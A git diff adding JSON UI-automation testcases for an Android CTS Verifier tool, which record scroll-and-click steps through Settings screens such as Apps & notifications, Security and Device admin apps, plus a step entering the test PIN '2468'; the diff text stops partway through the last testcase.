diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b9b98f7c-9a8d-4282-bd0f-1b4b81eac080 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b9b98f7c-9a8d-4282-bd0f-1b4b81eac080
new file mode 100644
index 0000000..efe6c97
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b9b98f7c-9a8d-4282-bd0f-1b4b81eac080
@@ -0,0 +1 @@
+{"uuid":"b9b98f7c-9a8d-4282-bd0f-1b4b81eac080","details":"{\"type\":\"CompoundAction\",\"name\":\"Launch Apps & notifcations\",\"actionId\":\"b9b98f7c-9a8d-4282-bd0f-1b4b81eac080\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"shareWith\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Apps & notifications\",\"actionId\":\"63c410cd-2a89-4d57-8d91-27c6f800e857\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Apps & notifications\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a3591475-0e54-43a2-a7d2-a1f914690a17\",\"displayText\":\"Apps & notifications\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"1052a1bf-1198-4ac3-a8cd-8106aa3c4bc6\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"8c6125ff-4353-4f34-ba0e-c00b34a362c7\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":280.75,\"x2\":45.5,\"y2\":312.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":277.25,\"x2\":63.0,\"y2\":315.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"89951143-8162-4131-b9f0-edc05b0a495d\",\"displayText\":\"Apps & notifications\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"8ebe5dc9-740b-4527-9194-fa249d939739\",\"displayText\":\"Apps & notifications\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Apps & notifications\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":278.75,\"x2\":189.0,\"y2\":297.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-2.0,\"y\":-1.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Apps & notifications\"},{\"uuid\":\"d75317d8-a467-40e1-b94d-73e4f85598c7\",\"displayText\":\"Assistant, recent apps, default apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Assistant, recent apps, default apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":297.75,\"x2\":258.0,\"y2\":314.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Assistant, recent apps, default apps\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":264.75,\"x2\":346.0,\"y2\":328.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Apps & notifications\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":264.75,\"x2\":360.0,\"y2\":328.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":128.0,\"y\":289.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":52.0,\"y\":7.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"8ebe5dc9-740b-4527-9194-fa249d939739\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Apps & notifications\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":56.0,\"y1\":278.0,\"x2\":200.0,\"y2\":301.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Apps & notifications\",\"actionId\":\"109177c2-85e9-4740-abd6-932a7efe1ad5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Apps & notifications\"}],\"childrenIdList\":[\"9be89845-047e-4ef4-98dc-caa8cd186c76\",\"63c410cd-2a89-4d57-8d91-27c6f800e857\",\"109177c2-85e9-4740-abd6-932a7efe1ad5\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Launch Apps & notifcations","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.065000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b9e13d9a-43e6-44b0-a3f6-48b3de93d39a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b9e13d9a-43e6-44b0-a3f6-48b3de93d39a
new file mode 100644
index 0000000..118d956
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b9e13d9a-43e6-44b0-a3f6-48b3de93d39a
@@ -0,0 +1 @@
+{"uuid":"b9e13d9a-43e6-44b0-a3f6-48b3de93d39a","details":"{\"type\":\"CompoundAction\",\"name\":\"Enter PIN or Password \\\"2468\\\"\",\"actionId\":\"b9e13d9a-43e6-44b0-a3f6-48b3de93d39a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"InputAction\",\"name\":\"INPUT number \\\"2468\\\"\",\"actionId\":\"badb6abb-cbee-4352-9452-1f06f6459083\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"2468\",\"isSingleChar\":false}],\"childrenIdList\":[\"badb6abb-cbee-4352-9452-1f06f6459083\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Enter PIN or Password \"2468\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.254000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ba60c19c-dd7d-4503-86dc-57ae83dfa386 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ba60c19c-dd7d-4503-86dc-57ae83dfa386
new file mode 100644
index 0000000..80f88b7
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ba60c19c-dd7d-4503-86dc-57ae83dfa386
@@ -0,0 +1 @@
+{"uuid":"ba60c19c-dd7d-4503-86dc-57ae83dfa386","details":"{\"type\":\"CompoundAction\",\"name\":\"02-Device administrator settings\",\"actionId\":\"ba60c19c-dd7d-4503-86dc-57ae83dfa386\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Device administrator settings\",\"actionId\":\"1c89cedd-a8e4-42fe-ab22-95af748bec46\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Device administrator settings\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"78cdbe24-64df-4a2e-a312-a9f5a227f515\",\"displayText\":\"Device administrator settings\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Device administrator settings\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":381.75,\"x2\":351.25,\"y2\":423.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":104.0,\"y\":404.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":76.0,\"y\":-1.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"78cdbe24-64df-4a2e-a312-a9f5a227f515\",\"firstText\":\"Device administrator settings\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Device administrator settings\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":7.0,\"y1\":389.0,\"x2\":201.0,\"y2\":419.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Device administrator settings\",\"actionId\":\"454e6140-760e-4839-b9eb-f6388794b93a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Device administrator settings\"}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"1c89cedd-a8e4-42fe-ab22-95af748bec46\",\"454e6140-760e-4839-b9eb-f6388794b93a\",\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"d5c77251-9663-4eaa-b708-68a67fc8189f\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"02-Device administrator settings","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.083000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bad420dc-5e82-4d72-abc6-3b748c8fffdf b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bad420dc-5e82-4d72-abc6-3b748c8fffdf
new file mode 100644
index 0000000..8de0a7a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bad420dc-5e82-4d72-abc6-3b748c8fffdf
@@ -0,0 +1 @@
+{"uuid":"bad420dc-5e82-4d72-abc6-3b748c8fffdf","details":"{\"type\":\"CompoundAction\",\"name\":\"Launch Device admin apps\",\"actionId\":\"bad420dc-5e82-4d72-abc6-3b748c8fffdf\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Security\",\"actionId\":\"ce237ffe-9f9c-43ed-98e2-091a681a3279\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Security\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"1e2fd7ec-16e9-4773-a8eb-accb73211b90\",\"displayText\":\"Security\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a39af5dd-352a-48f2-98e6-3d0467b86345\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"2797b751-7488-4eaa-a51c-e2c8b3be9f62\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":102.33333333333333,\"x2\":45.333333333333336,\"y2\":133.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":98.66666666666667,\"x2\":63.0,\"y2\":137.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"a2ffeacf-df87-41c0-a571-5c572ac174a4\",\"displayText\":\"Security\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"561eb4b9-97f7-4b8e-8a5e-bd36d25a8e74\",\"displayText\":\"Security\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Security\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":100.0,\"x2\":115.66666666666667,\"y2\":119.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-6.166666666666657,\"y\":1.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Security\"},{\"uuid\":\"9d0b3abc-a9b8-41f4-933e-2cbbc7756785\",\"displayText\":\"Play Protect, screen lock, fingerprint\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Play Protect, screen lock, fingerprint\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":119.0,\"x2\":259.3333333333333,\"y2\":136.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Play Protect, screen lock, fingerprint\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":86.0,\"x2\":346.0,\"y2\":150.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Security\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":86.0,\"x2\":360.0,\"y2\":150.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":95.5,\"y\":108.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":84.5,\"y\":10.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"561eb4b9-97f7-4b8e-8a5e-bd36d25a8e74\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Security\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":58.0,\"y1\":98.0,\"x2\":133.0,\"y2\":118.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Security\",\"actionId\":\"19e3df40-07a1-42cc-9e4d-5dbbf8b158fd\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Security\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Advanced\",\"actionId\":\"7efe8458-75dc-46eb-8745-d3ac9b258e8d\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Advanced\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"c254fe86-3d86-4e6e-80c1-38235397e09a\",\"displayText\":\"Advanced\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"349843c2-c30f-45e8-8627-3a79b6e51f91\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"40e657e3-7fd8-42cf-ab41-4a0acaaef64e\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":556.3333333333334,\"x2\":35.0,\"y2\":577.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":552.6666666666666,\"x2\":63.0,\"y2\":581.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"fe5ce6fd-7f9d-46f1-ae8a-74d7ed8137bc\",\"displayText\":\"Advanced\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"67532ca6-077b-418e-b7f3-937b2896a290\",\"displayText\":\"Advanced\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Advanced\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":550.0,\"x2\":117.33333333333333,\"y2\":567.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-1.8333333333333428,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Advanced\"},{\"uuid\":\"e394cfda-eb88-4657-b073-3605d245f0b6\",\"displayText\":\"App pinning, Confirm SIM deletion\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"App pinning, Confirm SIM deletion\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":567.0,\"x2\":248.33333333333334,\"y2\":584.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"App pinning, Confirm SIM deletion\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":536.0,\"x2\":346.0,\"y2\":598.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Advanced\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":536.0,\"x2\":360.0,\"y2\":598.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":92.0,\"y\":557.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":88.0,\"y\":9.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"67532ca6-077b-418e-b7f3-937b2896a290\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Advanced\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":57.0,\"y1\":549.0,\"x2\":127.0,\"y2\":566.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Advanced\",\"actionId\":\"24787c09-a68d-4299-b149-08350e5038a6\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Advanced\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Device admin apps\",\"actionId\":\"e8801432-f033-4a9c-93e5-7a9b124d79fb\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Device admin apps\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"64b69a6f-7d3e-41f5-997d-14475901db70\",\"displayText\":\"Device admin apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e471a754-e3e0-4f79-8dbe-343d85cb071f\",\"displayText\":\"Device admin apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"c1d51d10-99af-4421-ab48-bc123a6da2d7\",\"displayText\":\"Device admin apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Device admin apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":367.3333333333333,\"x2\":182.66666666666666,\"y2\":386.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-1.6666666666666714,\"y\":2.3333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Device admin apps\"},{\"uuid\":\"61240b78-bcc5-41f7-b500-e28a8b67d1ad\",\"displayText\":\"1 active app\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"1 active app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":386.3333333333333,\"x2\":129.33333333333334,\"y2\":403.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"1 active app\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":353.3333333333333,\"x2\":346.0,\"y2\":417.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Device admin apps\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":353.3333333333333,\"x2\":360.0,\"y2\":417.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":124.5,\"y\":374.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":55.5,\"y\":10.833333333333314,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"c1d51d10-99af-4421-ab48-bc123a6da2d7\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Device admin apps\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":52.0,\"y1\":357.0,\"x2\":197.0,\"y2\":392.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Device admin 